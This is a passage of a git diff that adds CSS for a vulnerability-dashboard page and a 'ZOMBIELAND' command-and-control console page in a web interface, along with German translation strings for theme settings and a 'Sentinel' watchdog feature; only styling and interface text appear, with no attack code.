background: linear-gradient(90deg, var(--accent), var(--accent-2)); + border-color: var(--accent); +} + +.vuln-container .severity-filter { + display: flex; + gap: var(--gap-2); +} + +.vuln-container .severity-btn.critical.active { + background: var(--danger); + border-color: var(--danger); + color: var(--white); +} + +.vuln-container .severity-btn.high.active { + background: var(--warning); + border-color: var(--warning); + color: var(--ink-invert); +} + +.vuln-container .severity-btn.medium.active { + background: var(--accent-2); + border-color: var(--accent-2); + color: var(--ink-invert); +} + +.vuln-container .severity-btn.low.active { + background: var(--ok); + border-color: var(--ok); + color: var(--ink-invert); +} + +.vuln-container .vuln-grid { + display: grid; + gap: var(--gap-4); + max-height: calc(100vh - 250px); + overflow-y: auto; +} + +.vuln-container .vuln-card { + background: var(--grad-card); + border-radius: var(--radius); + border: 1px solid var(--c-border); + overflow: hidden; + transition: all 0.3s cubic-bezier(0.4, 0, 0.2, 1); + animation: vuln-slideIn 0.4s ease-out; + box-shadow: var(--elev); +} + +@keyframes vuln-slideIn { + from { + opacity: 0; + transform: translateX(-20px); + } + + to { + opacity: 1; + transform: translateX(0); + } +} + +.vuln-container .vuln-card:hover { + transform: translateY(-2px); + box-shadow: var(--shadow-hover); + border-color: var(--accent); +} + +.vuln-container .vuln-card.inactive { + opacity: 0.6; + border-color: var(--muted-off); +} + +.vuln-container .vuln-header { + padding: var(--gap-4); + background: var(--grad-quickpanel); + display: flex; + justify-content: space-between; + align-items: center; + cursor: pointer; + user-select: none; + border-bottom: 1px solid var(--c-border); +} + +.vuln-container .vuln-title { + display: flex; + align-items: center; + gap: var(--gap-3); + flex: 1; +} + +.vuln-container .vuln-id { + font-weight: bold; + font-size: 14px; + background: linear-gradient(90deg, var(--accent), var(--accent-2)); + -webkit-background-clip: text; + -webkit-text-fill-color: transparent; +} + +.vuln-container .severity-badge { + padding: 4px 10px; + border-radius: 20px; + font-size: 11px; + font-weight: bold; + text-transform: uppercase; + letter-spacing: 0.5px; + animation: vuln-pulse 2s infinite; +} + +@keyframes vuln-pulse { + 0% { + opacity: 1; + } + + 50% { + opacity: 0.7; + } + + 100% { + opacity: 1; + } +} + +.vuln-container .severity-critical { + background: var(--danger); + color: var(--white); +} + +.vuln-container .severity-high { + background: var(--warning); + color: var(--ink-invert); +} + +.vuln-container .severity-medium { + background: var(--accent-2); + color: var(--ink-invert); +} + +.vuln-container .severity-low { + background: var(--ok); + color: var(--ink-invert); +} + +.vuln-container .vuln-meta { + display: flex; + gap: var(--gap-4); + font-size: 12px; + color: var(--muted); +} + +.vuln-container .meta-item { + display: flex; + align-items: center; + gap: var(--gap-2); +} + +.vuln-container .expand-icon { + color: var(--muted); + transition: transform 0.3s ease; + font-size: 18px; +} + +.vuln-container .vuln-card.expanded .expand-icon { + transform: rotate(180deg); +} + +.vuln-container .vuln-content { + max-height: 0; + overflow: hidden; + transition: max-height 0.3s ease-out; +} + +.vuln-container .vuln-card.expanded .vuln-content { + max-height: 1000px; +} + +.vuln-container .vuln-details { + padding: var(--gap-4); + border-top: 1px solid var(--c-border); + background: var(--c-panel); +} + +.vuln-container .detail-section { + margin-bottom: var(--gap-4); +} + +.vuln-container .detail-title { + font-size: 12px; + color: var(--muted); + text-transform: uppercase; + letter-spacing: 1px; + margin-bottom: var(--gap-2); + font-weight: 600; +} + +.vuln-container .detail-content { + font-size: 14px; + line-height: 1.6; + color: var(--ink); +} + +.vuln-container .tags-container { + display: flex; + flex-wrap: wrap; + gap: var(--gap-2); +} + +.vuln-container .tag { + padding: 4px 8px; + background: var(--c-chip-bg); + border: 1px solid var(--c-border); + border-radius: var(--gap-2); + font-size: 11px; + color: var(--muted); +} + +.vuln-container .action-buttons { + display: flex; + gap: var(--gap-3); + padding: var(--gap-4); + border-top: 1px solid var(--c-border); + background: var(--c-panel-2); +} + +.vuln-container .action-btn { + flex: 1; + justify-content: center; + text-transform: uppercase; + letter-spacing: 0.5px; +} + +.vuln-container .btn-remediate { + background: var(--ok); + border-color: var(--ok); + color: var(--ink-invert); +} + +.vuln-container .btn-details { + background: var(--accent-2); + border-color: var(--accent-2); + color: var(--ink-invert); +} + +.vuln-container .btn-export { + background: linear-gradient(90deg, var(--accent), var(--accent-2)); + border-color: var(--accent); + color: var(--white); +} + +/* Host view */ +.vuln-container .host-card { + background: var(--grad-card); + border-radius: var(--radius); + border: 1px solid var(--c-border); + margin-bottom: var(--gap-4); + overflow: hidden; + animation: vuln-slideIn 0.4s ease-out; + box-shadow: var(--elev); +} + +.vuln-container .host-header { + background: var(--grad-quickpanel); + padding: var(--gap-4); + cursor: pointer; + user-select: none; + display: flex; + justify-content: space-between; + align-items: center; + border-bottom: 1px solid var(--c-border); +} + +.vuln-container .host-header:hover { + background: var(--grad-modal); +} + +.vuln-container .host-info { + display: flex; + flex-direction: column; + gap: var(--gap-2); +} + +.vuln-container .host-name { + font-size: 16px; + font-weight: bold; + color: var(--ink); + display: flex; + align-items: center; + gap: var(--gap-3); +} + +.vuln-container .host-details { + display: flex; + gap: var(--gap-4); + font-size: 12px; + color: var(--muted); +} + +.vuln-container .host-stats { + display: flex; + gap: var(--gap-3); + align-items: center; +} + +.vuln-container .host-stat-badge { + padding: 5px 10px; + border-radius: 20px; + font-size: 11px; + font-weight: bold; + display: flex; + align-items: center; + gap: var(--gap-2); +} + +.vuln-container .host-vulns { + max-height: 0; + overflow: hidden; + transition: max-height 0.3s ease-out; +} + +.vuln-container .host-card.expanded .host-vulns { + max-height: 2000px; +} + +.vuln-container .host-vuln-list { + padding: var(--gap-4); + background: var(--c-panel); +} + +.vuln-container .host-vuln-item { + background: var(--c-panel-2); + border: 1px solid var(--c-border); + border-radius: var(--control-r); + padding: var(--gap-3); + margin-bottom: var(--gap-3); + display: flex; + justify-content: space-between; + align-items: center; + transition: all 0.3s ease; +} + +.vuln-container .host-vuln-item:hover { + background: var(--grad-card); + border-color: var(--accent); + transform: translateX(5px); +} + +.vuln-container .host-summary { + background: var(--grad-quickpanel); + padding: var(--gap-3); + border-radius: var(--control-r); + margin-bottom: var(--gap-3); + display: flex; + justify-content: space-around; + text-align: center; +} + +.vuln-container .host-summary-item { + display: flex; + flex-direction: column; + gap: var(--gap-2); +} + +.vuln-container .host-summary-value { + font-size: 18px; + font-weight: bold; + background: linear-gradient(90deg, var(--accent), var(--accent-2)); + -webkit-background-clip: text; + -webkit-text-fill-color: transparent; +} + +.vuln-container .host-summary-label { + font-size: 10px; + color: var(--muted); + text-transform: uppercase; + letter-spacing: 0.5px; +} + +/* Badges */ +.vuln-container .badge-kev { + background: var(--danger); + padding: 2px 6px; + border-radius: 10px; + font-size: 10px; + color: var(--white); + font-weight: bold; +} + +.vuln-container .badge-exploit { + background: linear-gradient(135deg, #9c27b0, #e1bee7); + padding: 2px 6px; + border-radius: 10px; + font-size: 10px; + color: var(--white); + font-weight: bold; +} + +.vuln-container .badge-epss-high { + background: linear-gradient(135deg, var(--danger), var(--warning)); + padding: 2px 6px; + border-radius: 10px; + font-size: 10px; + color: var(--white); + font-weight: bold; +} + +.vuln-container .badge-epss-medium { + background: linear-gradient(135deg, var(--warning), var(--accent-2)); + padding: 2px 6px; + border-radius: 10px; + font-size: 10px; + color: var(--white); + font-weight: bold; +} + +/* Pagination */ +.vuln-container .pagination { + display: flex; + justify-content: center; + gap: var(--gap-3); + margin-top: var(--gap-4); + padding: var(--gap-3); +} + +.vuln-container .page-btn:disabled { + opacity: 0.5; + cursor: not-allowed; +} + +.vuln-container .page-btn.active { + background: linear-gradient(90deg, var(--accent), var(--accent-2)); + border-color: var(--accent); + color: var(--white); +} + +.vuln-container .page-info { + display: flex; + align-items: center; + color: var(--muted); + font-size: 13px; +} + +/* Modal */ +.vuln-container .modal { + display: none; + position: fixed; + top: 0; + left: 0; + width: 100%; + height: 100%; + background: var(--glass-8); + z-index: 1000; + animation: vuln-fadeIn 0.3s ease; +} + +.vuln-container .modal.show { + display: flex; + align-items: center; + justify-content: center; +} + +.vuln-container .modal-content { + background: var(--grad-modal); + border-radius: var(--radius); + max-width: 800px; + width: 90%; + max-height: 80vh; + overflow-y: auto; + animation: vuln-slideUp 0.3s ease; + border: 1px solid var(--c-border-strong); + box-shadow: var(--shadow-hover); +} + +@keyframes vuln-slideUp { + from { + transform: translateY(50px); + opacity: 0; + } + + to { + transform: translateY(0); + opacity: 1; + } +} + +.vuln-container .modal-header { + padding: var(--gap-4); + border-bottom: 1px solid var(--c-border); + display: flex; + justify-content: space-between; + align-items: center; + position: sticky; + top: 0; + background: var(--grad-quickpanel); + z-index: 1; +} + +.vuln-container .modal-title { + font-size: 18px; + font-weight: bold; + background: linear-gradient(90deg, var(--accent), var(--accent-2)); + -webkit-background-clip: text; + -webkit-text-fill-color: transparent; +} + +.vuln-container .close-modal { + background: none; + border: none; + color: var(--muted); + font-size: 24px; + cursor: pointer; + transition: color 0.3s ease; +} + +.vuln-container .close-modal:hover { + color: var(--ink); +} + +.vuln-container .modal-body { + padding: var(--gap-4); +} + +@media (max-width:768px) { + .vuln-container .stats-header { + grid-template-columns: repeat(2, 1fr); + } + + .vuln-container .control-bar { + flex-direction: column; + } + + .vuln-container .search-box { + width: 100%; + } + + .vuln-container .filter-buttons { + width: 100%; + justify-content: space-between; + } + + .vuln-container .severity-filter { + width: 100%; + justify-content: space-between; + } + + .vuln-container .vuln-header { + flex-direction: column; + align-items: flex-start; + gap: var(--gap-3); + } + + .vuln-container .vuln-meta { + flex-direction: column; + gap: var(--gap-2); + } + + .vuln-container .modal-content { + width: 95%; + max-height: 90vh; + } +} + diff --git a/web/css/pages/zombieland.css b/web/css/pages/zombieland.css new file mode 100644 index 0000000..be2686f --- /dev/null +++ b/web/css/pages/zombieland.css @@ -0,0 +1,493 @@ +/* ========================================================================== + ZOMBIELAND (C2 Module) CSS + ========================================================================== */ + +/* Main layout constraints */ +.zombieland-container.page-with-sidebar { + height: calc(100vh - var(--h-topbar, 56px) - var(--h-bottombar, 56px) - 24px); + display: flex; + min-height: 0; +} + +.zl-sidebar.page-sidebar { + width: 260px; + flex-shrink: 0; + display: flex; + flex-direction: column; + background: var(--grad-card); + border: 1px solid var(--c-border); + border-radius: 12px; + overflow-y: auto; +} + +.zl-main.page-main { + flex: 1; + min-width: 0; + display: flex; + flex-direction: column; + gap: 12px; +} + +/* Sidebar structure */ +.zl-stats-grid { + display: grid; + grid-template-columns: 1fr; + gap: 8px; + margin-bottom: 15px; +} + +.stat-item { + background: rgba(0, 0, 0, 0.2); + border: 1px solid var(--c-border); + padding: 10px; + border-radius: 8px; + display: flex; + justify-content: space-between; + align-items: center; +} + +.stat-item .stat-value { + font-weight: bold; + color: var(--acid); + font-size: 1.1rem; +} + +.stat-item .stat-label { + font-size: 0.8rem; + color: var(--muted); + text-transform: uppercase; +} + +.zl-toolbar { + display: flex; + flex-direction: column; + gap: 6px; +} + +/* Modals */ +.modal { + position: fixed; + top: 0; + left: 0; + right: 0; + bottom: 0; + background: rgba(0, 0, 0, 0.8); + display: flex; + align-items: center; + justify-content: center; + z-index: 1000; +} + +.modal-content { + background: var(--grad-card); + border: 1px solid var(--c-border); + padding: 20px; + border-radius: 12px; + width: 100%; + max-width: 400px; +} + +/* Main Grid Layout */ +.zl-main-grid { + display: grid; + grid-template-columns: minmax(0, 2fr) minmax(0, 1fr); + gap: 12px; + flex: 1; + /* Takes available space except logs */ + min-height: 0; +} + +.zl-console-panel, +.zl-agents-panel, +.zl-logs-panel { + border: 1px solid var(--c-border); + border-radius: 12px; + background: var(--c-panel); + display: flex; + flex-direction: column; + overflow: hidden; +} + +/* Log Panel underneath */ +.zl-logs-panel { + height: 150px; + flex-shrink: 0; +} + +.zl-panel-header { + display: flex; + justify-content: space-between; + align-items: center; + padding: 8px 12px; + background: rgba(0, 0, 0, 0.2); + border-bottom: 1px solid var(--c-border); + flex-shrink: 0; +} + +.zl-panel-title { + font-weight: bold; + font-size: 0.9rem; + color: var(--acid); +} + +.zl-quickbar { + display: flex; + gap: 4px; +} + +.quick-cmd { + background: transparent; + border: 1px solid var(--c-border-strong); + color: var(--muted); + font-size: 0.7rem; + padding: 2px 6px; + border-radius: 4px; + cursor: pointer; + transition: 0.2s; +} + +.quick-cmd:hover { + color: var(--acid); + border-color: var(--acid); +} + +.zl-console-output, +.zl-logs-output { + flex: 1; + overflow-y: auto; + padding: 10px; + font-family: 'Fira Code', monospace; + font-size: 0.8rem; + background: #020406; + min-height: 0; +} + +/* Controls */ +.zl-console-input-row { + display: flex; + gap: 8px; + padding: 8px; + border-top: 1px solid var(--c-border); + background: var(--c-panel-2); + flex-shrink: 0; +} + +.zl-target-select, +.zl-cmd-input, +.zl-search-input { + background: #000; + color: #fff; + border: 1px solid var(--c-border-strong); + padding: 6px 10px; + border-radius: 6px; +} + +.zl-cmd-input { + flex: 1; +} + +.zl-toolbar-left { + display: flex; + position: relative; + flex: 1; + max-width: 200px; + margin-left: 10px; +} + +.zl-search-input { + width: 100%; + border-radius: 6px; + padding: 4px 20px 4px 8px; + font-size: 0.8rem; +} + +.zl-search-clear { + position: absolute; + right: 5px; + top: 5px; + color: var(--muted); + background: none; + border: none; + cursor: pointer; +} + +.zl-agents-list { + flex: 1; + overflow-y: auto; + padding: 10px; + display: flex; + flex-direction: column; + gap: 8px; +} + +/* Agent Card Styles */ +.zl-agent-card { + background: rgba(0, 0, 0, 0.3); + border: 1px solid var(--c-border); + border-radius: 8px; + padding: 8px 12px; + display: flex; + flex-direction: column; + gap: 6px; + transition: 0.2s ease-out; +} + +.zl-agent-card.selected { + border-color: var(--acid); + background: rgba(0, 255, 160, 0.05); +} + +.zl-agent-card:hover { + border-color: var(--c-border-hi); +} + +.zl-card-header { + display: flex; + justify-content: space-between; + align-items: center; +} + +.zl-card-identity { + display: flex; + flex-direction: column; + gap: 2px; + line-height: 1; +} + +.zl-card-hostname { + font-weight: bold; + color: #fff; + font-size: 0.9rem; +} + +.zl-card-id { + font-size: 0.7rem; + color: var(--muted); +} + +.zl-pill { + padding: 2px 8px; + border-radius: 12px; + font-size: 0.7rem; + font-weight: bold; + background: #222; +} + +.zl-pill.online { + color: #00ffa0; + background: rgba(0, 255, 160, 0.1); +} + +.zl-pill.idle { + color: #ffcc00; + background: rgba(255, 204, 0, 0.1); +} + +.zl-pill.offline { + color: #ff3333; + background: rgba(255, 51, 51, 0.1); +} + +/* ECG Animation */ +.zl-ecg-row { + display: flex; + align-items: center; + gap: 8px; +} + +.ecg { + width: 100%; + height: 24px; + max-width: 140px; + position: relative; + overflow: hidden; + background: rgba(0, 0, 0, 0.5); + border-radius: 6px; + border: 1px solid #111; +} + +.ecg-wrapper { + display: flex; + width: 300%; + animation: ecg-slide linear infinite; +} + +.ecg svg { + width: 33.33%; + height: 100%; +} + +.ecg path { + fill: none; + stroke-width: 1.5; + stroke-linecap: round; + stroke-linejoin: round; +} + +.ecg.green path { + stroke: #00ffa0; + filter: drop-shadow(0 0 2px #00ffa0); +} + +.ecg.yellow path { + stroke: #ffcc00; + filter: drop-shadow(0 0 2px #ffcc00); +} + +.ecg.orange path { + stroke: #ff8800; + filter: drop-shadow(0 0 2px #ff8800); +} + +.ecg.red path { + stroke: #ff3333; +} + +.ecg.flat .ecg-wrapper { + animation: none; +} + +@keyframes ecg-slide { + 0% { + transform: translateX(0); + } + + 100% { + transform: translateX(-33.33%); + } +} + +.zl-ecg-counter { + font-size: 0.7rem; + color: var(--muted); + font-family: monospace; +} + +.zl-card-info { + display: flex; + justify-content: space-between; + font-size: 0.75rem; + color: #ccc; + background: rgba(0, 0, 0, 0.2); + padding: 4px 8px; + border-radius: 4px; +} + +.zl-card-actions { + display: flex; + justify-content: flex-end; + gap: 4px; + margin-top: 4px; +} + +/* Console output items */ +.console-line { + margin-bottom: 4px; + display: flex; + gap: 8px; +} + +.console-time { + color: var(--muted); +} + +.console-type { + font-weight: bold; +} + +.console-type.tx { + color: var(--acid); +} + +.console-type.rx { + color: #00aaff; +} + +.console-type.info { + color: #ccc; +} + +.console-type.error { + color: #ff3333; +} + +.console-type.success { + color: #00ffa0; +} + +.console-target { + color: #aaa; +} + +.console-content pre { + margin: 0; + white-space: pre-wrap; + font-family: inherit; +} + +.zl-log-line { + display: flex; + gap: 8px; + margin-bottom: 4px; +} + +/* Mobile Optimization */ +@media (max-width: 900px) { + .zombieland-container.page-with-sidebar { + height: auto; + flex-direction: column; + } + + .zombieland-container .zl-sidebar { + width: 100%; + max-height: none; + flex-shrink: 0; + border-radius: 8px; + } + + .zl-stats-grid { + grid-template-columns: repeat(2, 1fr); + } + + .zl-toolbar { + display: grid; + grid-template-columns: 1fr 1fr; + gap: 6px; + } + + .zl-main-grid { + grid-template-columns: 1fr; + gap: 12px; + } + + .zl-console-panel { + height: 350px; + flex: none; + } + + .zl-agents-panel { + height: 350px; + flex: none; + } + + .zl-console-input-row { + flex-wrap: wrap; + } + + .zl-target-select, + .zl-cmd-input { + width: 100%; + box-sizing: border-box; + } + + .zl-card-header { + flex-direction: column; + align-items: flex-start; + gap: 4px; + } + + .zl-card-info { + flex-direction: column; + gap: 2px; + } +} \ No newline at end of file diff --git a/web/css/shell.css b/web/css/shell.css index ae900b7..1d09a0b 100644 --- a/web/css/shell.css +++ b/web/css/shell.css @@ -980,7 +980,7 @@ body.console-docked .app-container { .cfg-host { display: grid; gap: 10px; - max-height: 56vh; + max-height: min(56vh, calc(100vh - var(--h-topbar, 56px) - var(--h-bottombar, 56px) - 140px)); overflow: auto; padding-right: 4px; } @@ -1137,16 +1137,59 @@ body.console-docked .app-container { width: 100%; } +/* Config sub-tab navigation */ +.cfg-subtabs { + display: flex; + gap: 4px; + padding: 4px; + margin-bottom: 10px; + border-radius: 12px; + background: color-mix(in oklab, var(--c-panel-2) 60%, transparent); + border: 1px solid var(--c-border); + overflow-x: auto; + flex-wrap: wrap; +} + +.cfg-subtab { + flex: 1 1 auto; + padding: 7px 10px; + border: 1px solid transparent; + border-radius: 8px; + background: transparent; + color: var(--muted); + font-size: 12px; + font-weight: 700; + cursor: pointer; + white-space: nowrap; + transition: background .15s, color .15s, border-color .15s; +} + +.cfg-subtab:hover { + color: var(--ink); + background: color-mix(in oklab, var(--c-panel) 50%, transparent); +} + +.cfg-subtab.active { + color: var(--acid); + background: var(--c-panel); + border-color: var(--c-border-strong); + box-shadow: var(--shadow); +} + /* Inline switch (modal lists) */ .switch { position: relative; + display: inline-block; width: 46px; height: 26px; + min-width: 46px; + flex-shrink: 0; background: var(--switch-track); border: 1px solid var(--c-border-hi); border-radius: 99px; cursor: pointer; box-shadow: inset 0 0 0 1px var(--glow-mid); + vertical-align: middle; } .switch::after { @@ -1170,6 +1213,11 @@ body.console-docked .app-container { transform: translateX(20px); } +/* Suppress ::after thumb when .slider span is used (settings config toggles) */ +.switch:has(.slider)::after { + display: none; +} + /* Sheet (WiFi/BT dialogs) */ .sheet-backdrop { position: fixed; @@ -1178,7 +1226,7 @@ body.console-docked .app-container { display: none; align-items: center; justify-content: center; - z-index: 75; + z-index: 95; } .sheet-backdrop.show { @@ -1285,6 +1333,20 @@ body.console-docked .app-container { min-width: 50px; max-width: 100%; } + + .cfg-subtabs { + flex-wrap: nowrap; + overflow-x: auto; + gap: 2px; + padding: 3px; + -webkit-overflow-scrolling: touch; + } + + .cfg-subtab { + flex: 0 0 auto; + padding: 6px 8px; + font-size: 11px; + } } /* ---- Liveview dropdown (character hover) ---- */ @@ -1602,6 +1664,20 @@ input[type="color"].theme-input { margin-bottom: 8px; } +.theme-actions { + display: flex; + gap: 8px; + flex-wrap: wrap; + margin-top: 12px; + padding-top: 12px; + border-top: 1px dashed var(--c-border); +} + +.theme-actions .btn { + flex: 1 1 auto; + min-width: 80px; +} + /* ---- Toast notifications ---- */ .toast-container { position: fixed; diff --git a/web/css/zombieland.css b/web/css/zombieland.css new file mode 100644 index 0000000..be2686f --- /dev/null +++ b/web/css/zombieland.css @@ -0,0 +1,493 @@ +/* ========================================================================== + ZOMBIELAND (C2 Module) CSS + ========================================================================== */ + +/* Main layout constraints */ +.zombieland-container.page-with-sidebar { + height: calc(100vh - var(--h-topbar, 56px) - var(--h-bottombar, 56px) - 24px); + display: flex; + min-height: 0; +} + +.zl-sidebar.page-sidebar { + width: 260px; + flex-shrink: 0; + display: flex; + flex-direction: column; + background: var(--grad-card); + border: 1px solid var(--c-border); + border-radius: 12px; + overflow-y: auto; +} + +.zl-main.page-main { + flex: 1; + min-width: 0; + display: flex; + flex-direction: column; + gap: 12px; +} + +/* Sidebar structure */ +.zl-stats-grid { + display: grid; + grid-template-columns: 1fr; + gap: 8px; + margin-bottom: 15px; +} + +.stat-item { + background: rgba(0, 0, 0, 0.2); + border: 1px solid var(--c-border); + padding: 10px; + border-radius: 8px; + display: flex; + justify-content: space-between; + align-items: center; +} + +.stat-item .stat-value { + font-weight: bold; + color: var(--acid); + font-size: 1.1rem; +} + +.stat-item .stat-label { + font-size: 0.8rem; + color: var(--muted); + text-transform: uppercase; +} + +.zl-toolbar { + display: flex; + flex-direction: column; + gap: 6px; +} + +/* Modals */ +.modal { + position: fixed; + top: 0; + left: 0; + right: 0; + bottom: 0; + background: rgba(0, 0, 0, 0.8); + display: flex; + align-items: center; + justify-content: center; + z-index: 1000; +} + +.modal-content { + background: var(--grad-card); + border: 1px solid var(--c-border); + padding: 20px; + border-radius: 12px; + width: 100%; + max-width: 400px; +} + +/* Main Grid Layout */ +.zl-main-grid { + display: grid; + grid-template-columns: minmax(0, 2fr) minmax(0, 1fr); + gap: 12px; + flex: 1; + /* Takes available space except logs */ + min-height: 0; +} + +.zl-console-panel, +.zl-agents-panel, +.zl-logs-panel { + border: 1px solid var(--c-border); + border-radius: 12px; + background: var(--c-panel); + display: flex; + flex-direction: column; + overflow: hidden; +} + +/* Log Panel underneath */ +.zl-logs-panel { + height: 150px; + flex-shrink: 0; +} + +.zl-panel-header { + display: flex; + justify-content: space-between; + align-items: center; + padding: 8px 12px; + background: rgba(0, 0, 0, 0.2); + border-bottom: 1px solid var(--c-border); + flex-shrink: 0; +} + +.zl-panel-title { + font-weight: bold; + font-size: 0.9rem; + color: var(--acid); +} + +.zl-quickbar { + display: flex; + gap: 4px; +} + +.quick-cmd { + background: transparent; + border: 1px solid var(--c-border-strong); + color: var(--muted); + font-size: 0.7rem; + padding: 2px 6px; + border-radius: 4px; + cursor: pointer; + transition: 0.2s; +} + +.quick-cmd:hover { + color: var(--acid); + border-color: var(--acid); +} + +.zl-console-output, +.zl-logs-output { + flex: 1; + overflow-y: auto; + padding: 10px; + font-family: 'Fira Code', monospace; + font-size: 0.8rem; + background: #020406; + min-height: 0; +} + +/* Controls */ +.zl-console-input-row { + display: flex; + gap: 8px; + padding: 8px; + border-top: 1px solid var(--c-border); + background: var(--c-panel-2); + flex-shrink: 0; +} + +.zl-target-select, +.zl-cmd-input, +.zl-search-input { + background: #000; + color: #fff; + border: 1px solid var(--c-border-strong); + padding: 6px 10px; + border-radius: 6px; +} + +.zl-cmd-input { + flex: 1; +} + +.zl-toolbar-left { + display: flex; + position: relative; + flex: 1; + max-width: 200px; + margin-left: 10px; +} + +.zl-search-input { + width: 100%; + border-radius: 6px; + padding: 4px 20px 4px 8px; + font-size: 0.8rem; +} + +.zl-search-clear { + position: absolute; + right: 5px; + top: 5px; + color: var(--muted); + background: none; + border: none; + cursor: pointer; +} + +.zl-agents-list { + flex: 1; + overflow-y: auto; + padding: 10px; + display: flex; + flex-direction: column; + gap: 8px; +} + +/* Agent Card Styles */ +.zl-agent-card { + background: rgba(0, 0, 0, 0.3); + border: 1px solid var(--c-border); + border-radius: 8px; + padding: 8px 12px; + display: flex; + flex-direction: column; + gap: 6px; + transition: 0.2s ease-out; +} + +.zl-agent-card.selected { + border-color: var(--acid); + background: rgba(0, 255, 160, 0.05); +} + +.zl-agent-card:hover { + border-color: var(--c-border-hi); +} + +.zl-card-header { + display: flex; + justify-content: space-between; + align-items: center; +} + +.zl-card-identity { + display: flex; + flex-direction: column; + gap: 2px; + line-height: 1; +} + +.zl-card-hostname { + font-weight: bold; + color: #fff; + font-size: 0.9rem; +} + +.zl-card-id { + font-size: 0.7rem; + color: var(--muted); +} + +.zl-pill { + padding: 2px 8px; + border-radius: 12px; + font-size: 0.7rem; + font-weight: bold; + background: #222; +} + +.zl-pill.online { + color: #00ffa0; + background: rgba(0, 255, 160, 0.1); +} + +.zl-pill.idle { + color: #ffcc00; + background: rgba(255, 204, 0, 0.1); +} + +.zl-pill.offline { + color: #ff3333; + background: rgba(255, 51, 51, 0.1); +} + +/* ECG Animation */ +.zl-ecg-row { + display: flex; + align-items: center; + gap: 8px; +} + +.ecg { + width: 100%; + height: 24px; + max-width: 140px; + position: relative; + overflow: hidden; + background: rgba(0, 0, 0, 0.5); + border-radius: 6px; + border: 1px solid #111; +} + +.ecg-wrapper { + display: flex; + width: 300%; + animation: ecg-slide linear infinite; +} + +.ecg svg { + width: 33.33%; + height: 100%; +} + +.ecg path { + fill: none; + stroke-width: 1.5; + stroke-linecap: round; + stroke-linejoin: round; +} + +.ecg.green path { + stroke: #00ffa0; + filter: drop-shadow(0 0 2px #00ffa0); +} + +.ecg.yellow path { + stroke: #ffcc00; + filter: drop-shadow(0 0 2px #ffcc00); +} + +.ecg.orange path { + stroke: #ff8800; + filter: drop-shadow(0 0 2px #ff8800); +} + +.ecg.red path { + stroke: #ff3333; +} + +.ecg.flat .ecg-wrapper { + animation: none; +} + +@keyframes ecg-slide { + 0% { + transform: translateX(0); + } + + 100% { + transform: translateX(-33.33%); + } +} + +.zl-ecg-counter { + font-size: 0.7rem; + color: var(--muted); + font-family: monospace; +} + +.zl-card-info { + display: flex; + justify-content: space-between; + font-size: 0.75rem; + color: #ccc; + background: rgba(0, 0, 0, 0.2); + padding: 4px 8px; + border-radius: 4px; +} + +.zl-card-actions { + display: flex; + justify-content: flex-end; + gap: 4px; + margin-top: 4px; +} + +/* Console output items */ +.console-line { + margin-bottom: 4px; + display: flex; + gap: 8px; +} + +.console-time { + color: var(--muted); +} + +.console-type { + font-weight: bold; +} + +.console-type.tx { + color: var(--acid); +} + +.console-type.rx { + color: #00aaff; +} + +.console-type.info { + color: #ccc; +} + +.console-type.error { + color: #ff3333; +} + +.console-type.success { + color: #00ffa0; +} + +.console-target { + color: #aaa; +} + +.console-content pre { + margin: 0; + white-space: pre-wrap; + font-family: inherit; +} + +.zl-log-line { + display: flex; + gap: 8px; + margin-bottom: 4px; +} + +/* Mobile Optimization */ +@media (max-width: 900px) { + .zombieland-container.page-with-sidebar { + height: auto; + flex-direction: column; + } + + .zombieland-container .zl-sidebar { + width: 100%; + max-height: none; + flex-shrink: 0; + border-radius: 8px; + } + + .zl-stats-grid { + grid-template-columns: repeat(2, 1fr); + } + + .zl-toolbar { + display: grid; + grid-template-columns: 1fr 1fr; + gap: 6px; + } + + .zl-main-grid { + grid-template-columns: 1fr; + gap: 12px; + } + + .zl-console-panel { + height: 350px; + flex: none; + } + + .zl-agents-panel { + height: 350px; + flex: none; + } + + .zl-console-input-row { + flex-wrap: wrap; + } + + .zl-target-select, + .zl-cmd-input { + width: 100%; + box-sizing: border-box; + } + + .zl-card-header { + flex-direction: column; + align-items: flex-start; + gap: 4px; + } + + .zl-card-info { + flex-direction: column; + gap: 2px; + } +} \ No newline at end of file diff --git a/web/i18n/de.json b/web/i18n/de.json index 02149c9..37a85f1 100644 --- a/web/i18n/de.json +++ b/web/i18n/de.json @@ -40,22 +40,40 @@ "settings.errorRestoring": "Fehler beim Wiederherstellen der Standardwerte", "theme.group.colors": "Farben", "theme.group.surfaces": "Oberflächen", + "theme.group.borders": "Rahmen", + "theme.group.controls": "Steuerelemente", "theme.group.layout": "Layout", "theme.token.bg": "Hintergrund", + "theme.token.bg2": "Hintergrund Alt", "theme.token.ink": "Textfarbe", + "theme.token.muted": "Gedämpfter Text", "theme.token.accent1": "Akzent 1 (Acid)", "theme.token.accent2": "Akzent 2 (Cyan)", + "theme.token.accent": "Akzent", + "theme.token.accentAlt": "Akzent Alt", "theme.token.danger": "Gefahr", "theme.token.warning": "Warnung", "theme.token.ok": "Erfolg", "theme.token.panel": "Panel", "theme.token.panel2": "Panel Alt", "theme.token.ctrlPanel": "Steuerpanel", + "theme.token.ctrlPanel2": "Steuerpanel Alt", + "theme.token.btnBg": "Schaltflächenhintergrund", "theme.token.border": "Rahmen", + "theme.token.borderStrong": "Starker Rahmen", + "theme.token.borderHi": "Rahmenhervorhebung", + "theme.token.switchTrack": "Schalter-Spur", + "theme.token.switchOnBg": "Schalter Ein-Hintergrund", + "theme.token.scrollTrack": "Scrollleisten-Spur", + "theme.token.scrollThumb": "Scrollleisten-Griff", + "theme.token.glass": "Glasüberlagerung", "theme.token.radius": "Rahmenradius", "theme.advanced": "Erweitertes CSS", "theme.applyRaw": "Anwenden", - "theme.reset": "Zurücksetzen", + "theme.reset": "Auf Standard zurücksetzen", + "theme.export": "Design exportieren", + "theme.import": "Design importieren", + "theme.importError": "Ungültige Design-Datei", "dash.title": "Dashboard", "dash.battery": "Batterie", "dash.internet": "Internet", @@ -777,5 +795,137 @@ "api.timeout": "Anfrage Zeitüberschreitung", "api.failed": "Anfrage fehlgeschlagen", "router.notFound": "Seite nicht gefunden: {{path}}", - "router.errorLoading": "Fehler beim Laden der Seite: {{message}}" + "router.errorLoading": "Fehler beim Laden der Seite: {{message}}", + "nav.sentinel": "Sentinel", + "sentinel.title": "Sentinel Wachhund", + "sentinel.enabled": "Aktiviert", + "sentinel.disabled": "Deaktiviert", + "sentinel.eventFeed": "Ereignis-Feed", + "sentinel.ackAll": "Alle bestätigen", + "sentinel.clearAll": "Alle löschen", + "sentinel.allAcked": "Alle Ereignisse bestätigt", + "sentinel.confirmClear": "Alle Ereignisse löschen? Dies 